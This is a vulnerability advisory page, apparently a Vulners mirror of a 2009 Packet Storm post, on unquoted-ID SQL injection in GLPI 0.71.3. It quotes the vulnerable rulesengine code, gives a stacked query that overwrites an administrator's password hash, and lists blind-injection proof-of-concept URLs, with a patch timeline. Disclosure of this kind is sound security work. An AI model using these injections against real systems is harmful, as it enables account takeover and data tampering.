Lucene search
K

GLPI 0.71.3 SQL Injection

🗓️ 29 Jan 2009 00:00:00Reported by ZigmaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

GLPI 0.71.3 SQL Injection in rulesengine.class.ph

Code
`[+] Application : GLPI v 0.71.3  
[+] App'z URI : http://glpi-project.org  
[+] Bug : Multiple Remote SQL Injections  
[+] Author : Zigma  
  
[+] Home : http://NullArea.Net  
  
Let's have a look on the Security System GLPI uses :  
  
--- \inc\includes.php ---  
  
// Security system  
if (isset($_POST)){  
if (!get_magic_quotes_gpc()){  
$_POST = array_map('addslashes_deep', $_POST);  
}  
$_POST = array_map('clean_cross_side_scripting_deep', $_POST);  
}  
if (isset($_GET)){  
if (!get_magic_quotes_gpc()){  
$_GET = array_map('addslashes_deep', $_GET);  
}  
$_GET = array_map('clean_cross_side_scripting_deep', $_GET);  
}  
  
As you can see , GLPI cleans the POSTS and GETS making it safe from  
cross side scripting and Slahsing it if magic_quotes_gpc OFF ,  
BUT  
We are not obliged to use quotes injecting the GLPI  
We can Inject for example the parameter ID with no need to use a quote  
Taking rulesengine.class.php as an example :  
  
--- \inc\rulesengine.class.php ---  
  
function cleanDBonPurge($ID){  
// Delete a rule and all associated criterias and actions  
global $DB;  
$sql = "DELETE FROM glpi_rules_actions WHERE FK_rules=".$ID; <--  
$DB->query($sql);  
  
$sql = "DELETE FROM glpi_rules_criterias WHERE FK_rules=".$ID; <--  
$DB->query($sql);  
}  
---  
  
Trying to inject...  
since we can modify the ID parameter we will make the query looks like :  
  
DELETE FROM glpi_rules_criterias WHERE FK_rules=1 UPDATE glpi_users  
SET name=1337 AND password_md5=E48E13207341B6BFFB7FB1622282247B where  
ID=1  
and u can guess what u can do..  
  
  
[+] Proof Of Concept :  
  
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1 True , You get  
your normal page  
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1337 False , You  
get "Item not found"  
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+substring(version(),1,1)=5  
, True (in my case)  
http://127.0.0.1/glpi/front/profile.form.php?ID=2+and+1=1337  
  
So other files that uses ID parameter (besides the other parameters)  
Im too lazy to write them all :/  
  
[+] Time Line Notification :  
  
2009-01-23 - Contacted throw Forum , Bugs Section  
2009-01-24 - GLPI version 0.71.4 Published (Security update)  
2009-01-26 - GLPI version 0.71.5 Published (Fix for 0.71.4 Issues)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation